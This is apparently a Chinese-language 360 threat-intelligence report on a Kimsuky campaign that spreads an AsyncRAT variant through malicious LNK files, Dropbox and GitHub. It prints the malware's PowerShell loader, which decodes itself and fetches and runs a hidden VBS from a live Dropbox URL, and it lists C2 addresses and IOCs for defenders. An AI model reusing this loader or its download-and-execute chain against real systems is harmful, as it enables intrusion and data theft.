首页 > 安全资讯 > 正文

APT-C-55(Kimsuky)组织依托GitHub+Dropbox分发恶意载荷的攻击活动分析

APT-C-55(Kimsuky),又被称为BabyShark等,最早由Kaspersky在2013年公开披露。该组织长期针对朝鲜半岛目标国家的政府机构、外交部门、智库、媒体以及学术机构开展网络攻击活动,随后其攻击范围逐步扩大至包括北美洲、欧洲及其他地区的目标。Kimsuky组织主要以情报窃取为核心目的,持续通过鱼叉式网络钓鱼等方式获取敏感信息。

近年来,该组织在攻击手法上不断演进,常利用恶意文档(如HWP、Office宏文件)、脚本加载器、LNK文件以及多阶段载荷等方式进行入侵,并结合自研恶意工具与开源工具实施持久化控制。尽管其活动多次被安全厂商披露,但该组织依然保持较高活跃度,持续调整战术与技术手段,在隐蔽性和攻击链复杂度方面呈现不断增强的趋势。

一、攻击活动分析

1. 攻击流程分析

Kimsuky通过lnk文件发起钓鱼攻击。用户点击运行后,lnk文件携带的脚本会从自身解密出诱饵文件并打开,以此迷惑受害者,同时从Dropbox下载taskschd.vbs脚本执行恶意功能,该vbs继续从攻击者的Github仓库下载downloader脚本执行,downloader继续下载两个powershell脚本,功能分别是上传受害者电脑基本信息到攻击者仓库,同时创建计划任务执行taskschd.vbs,另一个ps1脚本下载加密数据并解密出AsyncRAT变体用于窃取敏感信息。

2. 载荷投递分析

本次捕获样本名为“중국 CMG 인터뷰.docx.lnk”(中国 CMG 访谈.docx.lnk),具体信息如下:

MD5

ba8e682a72c6a3e634c070f0fb057bf5

文件大小

156 KB (159,744 字节)

文件名

중국 CMG 인터뷰.docx.lnk

受害者一旦点击运行“중국 CMG 인터뷰.docx.lnk”文件,便会通过PowerShell执行如下脚本:

$se='MJQye[D

$key=3;

for($i=0;$i -le   $se.Length;$i++)

{

$v+=[System.Text.Encoding]::ASCII.GetString($se[$i]-3)

};

$b =   [System.Convert]::FromBase64String($v);

$c =   [System.Text.Encoding]::UTF8.GetString($b);

$c;

$sb =   [scriptblock]::Create($c);

& $sb;

"&cd /d   "%appdata%\Microsoft\MMC" & copy c:\windows\system32\curl.exe   TMP0392.exe & TMP0392.exe -k -L -o taskschd.vbs   "https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0"

&attrib +h taskschd.vbs   &taskschd.vbs&exit

这段脚本主要有两个功能。第一个功能是打开伪装文档。具体是这样的:首先将硬编码的变量$se每个字符ASCII编码值减去3,然后进行Base64解码,最终执行得到UTF-8编码的下一阶段脚本,解码后的脚本如下。

$comp=0;

$shopping='length';

$sunday=Get-Location;

$notify=&(gcm *et-Child*)   *.lnk; //查找lnk文件

$notify=$notify|where-object{$_.$shopping   -eq 0x0260F8};//定位大小为0x0260F8的lnk文件

$monkey=$notify;

$notify=$notify|Select-Object   -ExpandProperty Name;

if([string]::IsNullOrEmpty($notify))

{

$comp=1;

$sunday=$env:USERPROFILE;

$sunday=$sunday+'\appdata\local\temp';

$notify=Get-ChildItem -Path   $sunday -Recurse -Filter *.lnk|where-object{$_.$shopping -eq   0x0260F8}|ForEach-Object{$_.FullName}|Select-Object -First 1;

$monkey=$notify

};//获取在%temp%目录定位此文件(大小为0x0260F8字节)

$oil=$notify.substring(0,$notify.length-4);

$wire=[System.IO.BinaryReader]::new([System.IO.File]::open($notify,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));   //读取文件

try

{

$wire.BaseStream.Seek(0x00001B58,[System.IO.SeekOrigin]::Begin);

$snow=$wire.ReadBytes(0x06972);//从0x00001B58处读取0x06972大小的数据

}finally

{

$wire.Close()

};

$black=0;

$chair=0;

$body=$snow.count;

while ($black -lt $body)

{

$chipper=0x26;

$date=($chipper+$black%2)%0x100;

$snow[$black]=$snow[$black]   -bxor $date;

$black++

};//xor解密载荷

[System.IO.File]::WriteAllBytes($oil,$snow);

if($comp -eq 1){

$book=$oil

这段代码的功能是在当前目录或者临时目录定位大小为0x0260F8字节(156KB)的LNK文件,也就是名为“중국 CMG 인터뷰.docx.lnk”的文件,然后从偏移量 0x00001B58处读取0x06972字节(约27KB)数据。最后使用XOR算法解密出诱饵文件并打开。诱饵文档如下:

第二个功能是拷贝curl.exe为TMP0392.exe,然后通过TMP0392.exe从远程地址“https[:]//www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0”下载“taskschd.vbs”文件。最后将“taskschd.vbs”加隐藏属性后执行,以避免受害者发现。

3. 攻击组件分析

3.1. 脚本组件

“taskschd.vbs”是一个VBS脚本文件,信息如下:

MD5

d9d7d5feb2abc828b58142fc63509d80

文件大小

1.52 KB (1,562 字节)

文件名

taskschd.vbs

该脚本是一个被混淆之后的VBS脚本,攻击者通过Replace函数增加了大量的干扰分析的内容,经过去混淆之后,“taskschd.vbs”文件内容如下,该文件功能就是从“https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini”处下载目标文件,并保存“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”,然后WMI隐秘执行该bat脚本文件。

“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”是一个bat批处理文件,具体信息如下:

MD5

23da5ff2ed7bd4ac5a2a148afc037b6a

文件大小

499 字节 (499 字节)

文件名

a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat

“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”文件的功能是分别从dropbox.com和github.com两个公共存储平台下载文件分别保存到“Eudksref.ps1”和“Eudksre.ps1”,然后通过PowerShell执行“Eudksre.ps1”文件。

“Eudksre.ps1”文件信息如下:


 

MD5

849ddfdba810b251522690d51475a359

文件大小

3.12 KB (3,199 字节)

文件名

Eudksre.ps1

“Eudksre.ps1”的主要功能是读取“https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容,然后使用修改过的RC4解密算法解密“fox.png”文件内容,然后通过.Net反射加载的方式执行解密之后的.Net载荷。

Eudksref.ps1信息如下:

MD5

45b6b7dadc13e4a4cc30dd82eb58c3ed

文件大小

1.63 KB (1,677 字节)

文件名

Eudksref.ps1

Eudksref.ps1”是一个PowerShell脚本,该脚本首先创建一个名为“GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-F706378A30E}”计划任务,用于持久化执行“taskschd.vbs”,然后会收集机器相关信息,包括系统信息,用户本地应用数据目录,进程列表,并将这些数据编码之后发送到Github平台进行保存。

3.2. PE 组件

“Eudksre.ps1”通过反射加载的方式执行一个.Net组件,该文件不落地,原始文件名为“rTom.exe”,经分析发现该文件为AsyncRAT变种木马。

MD5

0d8ceb7dea7d471afa2f8e753b13d2d6

文件大小

2.24 MB (2,355,200 字节)

文件名

rTom.exe

Timestamp

2026-03-17 08:21:28

当程序运行之后首先通过互斥避免多开。

在完成必要的socket初始化之后,连接C2服务器(112.216.9.171: 3385)

随后恶意程序会采集受害主机的用户名、操作系统信息、木马程序自身版本、当前运行权限是否为管理员、前台活动窗口标题等多类设备与运行状态信息,完成信息汇总后主动回传至服务端。

然后恶意程序在接收到服务端返回的数据后,会调用回调函数clsiesockesdfwe.ReadServertData对返回内容进行处理,首先校验当前网络连接状态是否正常,确认无异常后再读取全部返回数据并暂存到缓冲区。

接着创建线程,调用Packet.Read函数进行处理,该函数是一个插件管理器,具有执行插件(plugin)和保存插件(savePlugin)的功能。

如果执行的是plugin功能,则首先判断本地是否保存有该插件,如果有该插件,便直接内存加载执行即可,如果没有该插件则先向服务端请求插件信息。

savePlugin功能的原理是将插件的Hash信息和二进制数据(以Hash为键名,以插件的字节数据为键值相对应)保存到注册表中。

攻击者前期采用分层投递的轻量化攻击战术,释放的恶意样本仅回传受害主机的基础环境与身份信息,后续可以根据回传的主机信息做定向筛选,仅针对符合预设攻击目标条件的受害主机,才会进一步下发各类专用功能插件开展深度信息搜集,这种按需加载的阶段化攻击设计,能够大幅压缩初始载荷的恶意特征面,最大程度避免攻击链路提前暴露。

二、攻击者仓库分析

通过下载链接https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini,我们对攻击者github账号进行了分析,发现该账号于2026年1月份创建,随后在二月份创建项目仓库,并上传恶意代码。

在对仓库样本进行深入分析时发现,仓库内的PNG文件都是加密恶意载荷。这些文件均采用与前文一致的RC4密钥进行加密处理。对其解密后进一步分析表明,这些载荷均属于AsyncRAT家族,推测为基于AsyncRAT开源代码进行二次开发,具体表现在通信协议、配置结构及功能模块上进行了定制化修改,体现出攻击者在持续迭代其工具链的过程。

此外,在仓库中还发现攻击者的测试样本,这些样本很可能用于功能测试或开发调试阶段。

最后我们还发现部分受害者信息也已上传到github仓库,如下所示。

三、归属研判

经深度发现本次攻击方式和Kimsuky组织以往TTP存在较大关联,具体表现如下所示:

1.自我们披露Kimsuky组织利用GitHub作为载荷平台的攻击方式以来[1],该组织一直保留这种攻击方式。

2.本次利用.docx.lnk的文件作为攻击入口,同时lnk执行恶意载荷的文件名含有“setting.ini”等字符串,这和以往攻击方式类似。

3.lnk读取自身数据解密出诱饵文档以及使用powershell脚本执行C#程序的方式也和该组织以往利用方式符合,并且AsyncRAT变体在该组织之前的攻击活动中也被使用过[2]

4.样本上传地为韩国地区,分析受害者信息我们发现和之前攻击行动存在相同受害者。

综上,我们较有把握将本轮攻击行动归属到APT-C-55(Kimsuky)组织。

总结

本次攻击中Kimsuky组织通过滥用合法平台作为通信与分发通道,下发恶意载荷并回传窃取数据,从而有效规避了传统基于特征与流量行为的网络检测与响应(NDR)机制。这类“以合法掩护恶意”的方式,使攻击流量在表面上与正常业务通信高度相似,大幅降低了被识别与拦截的概率。同时,攻击者采用插件化、模块化的木马架构,在初始入侵后可按需动态加载不同功能模块(如信息窃取、横向移动等),从而实现更隐蔽且灵活的攻击流程。

此外本文披露的相关恶意代码、C&C只是APT-C-55组织近期部分攻击过程中的所使用的载荷,该组织不会因为一次攻击行动的暴露而停止活动,反而会持续更新其载荷。在这里提醒用户加强安全意识,不要执行未知样本、点击来历不明的链接等,否则容易在毫无防范的情况下被攻陷,进而泄漏机密文件、重要情报。附录 IOC

MD5:

ba8e682a72c6a3e634c070f0fb057bf5

bd17b8b10675031cec05c0cd8a001fac

0d8ceb7dea7d471afa2f8e753b13d2d6

d9d7d5feb2abc828b58142fc63509d80

e0e4aec6d494fe68cdaa52d6878a8366

b406ea5b8628cb7801f47c0189b96182

23da5ff2ed7bd4ac5a2a148afc037b6a

45b6b7dadc13e4a4cc30dd82eb58c3ed

73ff669fc282653bd6c42cf87ade9337

02ebc2356f9f700bbdac444cdefa0da2

849ddfdba810b251522690d51475a359

IOC:

https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0

https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini

https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&st=kn296823&dl=1

https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini

https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png

112.216.9[.]171:3385

112.216.9[.]171:7707

参考链接:

[1] https://mp.weixin.qq.com/s/GzMoR8jKjelzuj5BPhpJYA

[2]https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/

360高级威胁研究院

360高级威胁研究院是360数字安全集团的核心能力支持部门,由360资深安全专家组成,专注于高级威胁的发现、防御、处置和研究,曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击,独家披露多个国家级APT组织的高级行动,赢得业内外的广泛认可,为360保障国家网络安全提供有力支撑。

 

360官网:www.360.cn 


360安全卫士

热点排行

用户
反馈
返回
顶部